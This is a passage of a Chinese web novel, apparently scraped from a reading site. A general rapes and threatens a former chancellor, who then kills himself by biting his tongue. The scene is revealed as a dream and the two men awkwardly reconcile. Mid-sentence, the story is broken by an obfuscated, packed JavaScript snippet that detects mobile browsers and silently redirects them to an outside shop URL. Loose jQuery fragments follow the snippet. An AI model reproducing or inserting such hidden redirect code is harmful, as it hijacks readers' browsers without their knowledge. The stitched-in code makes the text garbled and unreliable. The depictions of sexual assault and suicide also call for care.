不久,两个士兵押着楚晏进来,即使身处绝境,他的身姿依旧挺拔得如庭前玉树,看到秦冲时,那双美丽的眼睛如同枯木逢春一般一下子亮了起来。
他还是那个白衣卿相,岁月仿佛没有在他脸上留下任何印迹,想想他今年已经三十二岁了,看上去就像一个二十出头的人一样,脸上的皮肤吹弹可破,眼睛清澈得跟一个处子一样,不知道他那白皙的肌肤已经被人留下了多少指印,萧寒多少次醉倒在他的温柔乡,想到这里,秦冲不无恶毒地道:“萧寒已经死了,楚相打算为他殉情么?”
那双美丽眼睛里的光亮瞬间暗了下去。
秦冲走过去,一把捏住他的下巴,“老子还没玩够呢,怎么舍得让你死?”
他看着他,不无轻挑地道:“等老子玩完了,再让老子的兄弟们乐呵乐呵?楚相觉得如何?”
秦冲一说完,殿内的士兵都恨不得用眼神剥了楚晏的衣服,大越的名相,想想就让人血液沸腾……
楚晏的心一点一点冷了下去。
秦冲却越来越暴躁,手上越来越用力捏他的下巴:“怎么?哑巴了?三年前的那一日,你不是抱着我叫得很欢么?”
殿内的士兵震惊,这大越的名相也不怎么样嘛,原来早就跟他们将军好过了!
楚晏绝望地闭上眼睛:“秦冲,你若是真恨我,就杀了我吧。”
秦冲心中一震,随即冷笑道:“怎么?不愿意让老子碰你了?”
依旧没有回应,秦冲已经没有耐心了,挥退殿内众人,一把扯开楚晏的衣襟,“楚晏,这是你自找的!”
秦冲粗暴地发泄完,一边穿衣服一边骂:“什么大越的名相?不过如此!都被人玩烂了!”
楚晏失神地躺在地上,秦冲的话语如一根根锐利的钢针,将他的心扎得鲜血淋漓。
秦冲穿好衣服,蹲下去捏住他的下巴,“告诉老子萧寒都跟你玩什么了?从明天开始,老子要一样一样地跟你试!”
那双熟悉的鹰眼里满是轻挑,再也不是从前那个忠实得有点笨拙的秦冲了,楚晏闭上长睫,泪水从那白皙如玉的脸上滑落。
这一幕刺痛了秦冲的眼,他告诉自己眼前这个人不过是个玩弄他感情的贱人,没什么好同情的,“哟,怎么还哭了?不想试?这可由不得你!你不说没关系,老子听说萧寒专门为你淘了一屋子的好玩意儿,等老子问问人,再一样一样在你身上试。”
楚晏睁开眼,那双美丽的眼睛里一片死寂:“你这样,与萧寒有什么区别?”
秦冲暴躁道:“管他什么区别!你让老子不痛快,你也别想痛快!”
楚晏顿了一下,忽然问道:“你知道这三年我都在想什么吗?”
秦冲一怔。
“在想你过得好不好,战事顺不顺利,什么时候回来,我还能不能再见到你……”
“这三年里我多少次想死,但一想,只要活着,就还能再见到你,我就不敢死了。”
听到这里,秦冲才明白过来,懊悔如潮水般向他涌来。
“如今,我终于见到你了……”楚晏说着,微微笑了一下,秦冲却有一种不好的预感。
“我才明白,我的等待,彻头彻尾就是个错误!”楚晏说完,齿间用力咬下。
耳边响起秦冲焦急暴躁的怒吼,可那都不重要了,他能感觉到生命在慢慢流逝,眼前的一切暗了下去。
当一切再次亮起来的时候,他躺在自己的床上。
这是他客栈的房间,他还是那个毅然辞官追寻自由的楚晏,并不是被萧寒凌辱困在皇宫的丞相楚晏。
原来之前的一切,只是一个长长的梦啊!
还没待他细细回味,便听见外面有人敲门,他披上衣服下去开门。
见到外面的人时,他怔了一下。
秦冲站在外面,高大的身影带着一些笨拙,望着他的眼里满是懊悔与自责:“楚……”
秦冲刚说了一个字,楚晏砰的一声把门关上。
秦冲在外面大力拍门,“楚掌柜!楚掌柜你听我说!”
楚晏出了会儿神,才冷漠道:“你不要再敲了,我是不会给你开门的,你回去吧。”
他说完,走到桌边坐下,随手拿了一本书看,可一翻开书,烦杂的情绪、梦里的回忆一股脑扑向他,他的心很乱,根本看不进去。
这时窗户被人推开,秦冲翻了进来。
楚晏震惊了一下,“你……”
那个青年看着他,笨拙地道:“我……我只是想跟你说,我错了,我不该那么对你,我误会你了,你打我骂我都可以,就是别不理我……”
“你……”楚晏平复了一下心绪,“你让我好好静一静。”
秦冲心中一亮,期待地看着他:“你要静多久?”
楚晏垂下眼睫:“我不知道,你回去吧。”
秦冲却没有动,拳头紧了又松,“梦里你被萧寒……是真的吗?”
楚晏抬眼看着他,“如果是真的,你当如何?”
“如果是真的,我现在就杀回皇宫,搅得他个鸡飞狗跳不得安宁!”
楚晏哑然,有些不知该说什么好,这还确实是他的作风。
见楚晏没有说话,秦冲便以为是真的,一时间气愤难当,“果然是真的!你在这等着我,老子现在就给你报仇去!”说完,转身就走。
“站住!”
秦冲回头,楚晏看向他处,有些不自然地道:“我确实
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007259|147758||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
做过丞相,但我早在二十四岁的时候就辞官了,我辞官时候,萧寒还是太子,此前,我教过他四书五经,除此之外,再无交集。”
秦冲听出楚晏话中的意思,嘴角越咧越大,“量那小子也不敢动你!”
说着,他又忍不住想,也就是说,楚晏也许还没有被人……
“你可以走了。”
正在他遐想之际,楚晏的声音打断了他的遐想。
“那我走了。”
秦冲失落转身,又忍不住回头,充满希冀地看着楚晏问:“我们……还是朋友吗?”
楚晏眸光闪了闪,告诉他也告诉自己:“那不过是个梦而已,不要太过当真了。”
秦冲便理解为楚晏并没有怪自己,一时乐开了花,冲上去抱住了楚晏,激动地道:“我太开心了!你没有怪我,我太开心了!”
“秦……秦冲!”
楚晏挣扎着挣扎着,对上青年晶亮的双眼,那眼睛盛着的是喜悦、是令人溺毙的温柔、还有山川一般连绵不绝的情意。
秦冲也怔住了。
眼前的人,眼睛美得如一片蔚蓝的湖水,美丽又清澈,皮肤如羊脂玉一般光滑细腻,嘴唇粉得水润,好似在等他品尝。
他不禁想到他无数次在梦里进入那温柔乡的感觉。
那里温柔如水,他来又抗拒,他走,又舍不得他走。
真真是人间仙境啊!
于是,他情不自禁地低下头去吻他,结果迎来了一个清脆的巴掌。
楚晏从他的怀里挣脱开,声音微冷:“秦冲,作为朋友,你逾距了。”
秦冲恨不得直接把人按在怀里,亲到他流着眼泪好哥哥地求着自己放过他,但是最终他忍住了,“对不起,我失态了。”
说完,转身离开。
一个人坐在桌前,楚晏忽然有一种怅然若失的感觉,刚才……秦冲是想吻他吧?
思绪不禁飘到之前做的那个梦。
十九岁刚中状元被萧寒凌辱困在宫里十年的他,遇见了二十三岁大胜归来被封为一品飞龙将军的秦冲。
这个梦,到底意味着什么呢?
第二天早晨,楚晏洗漱过后,禾玉来敲门:“掌柜的,外面有位京城来的故人,说想见你。”
他做官的时候不善与人交往,熟络的人不是在外地做官就是已经告老还乡。
京城来的故人?会是谁?
楚晏走出来的时候,看到一个锦绣华袍的男子逆着光,负手而立。
似乎感应到了什么,男子转过身来,露出一张年轻英俊的脸来,凤目深邃地望着他,浑身散发着不怒自威的帝王之气,却温文尔雅地向他揖了一礼:“老师,五年不见,别来无恙。”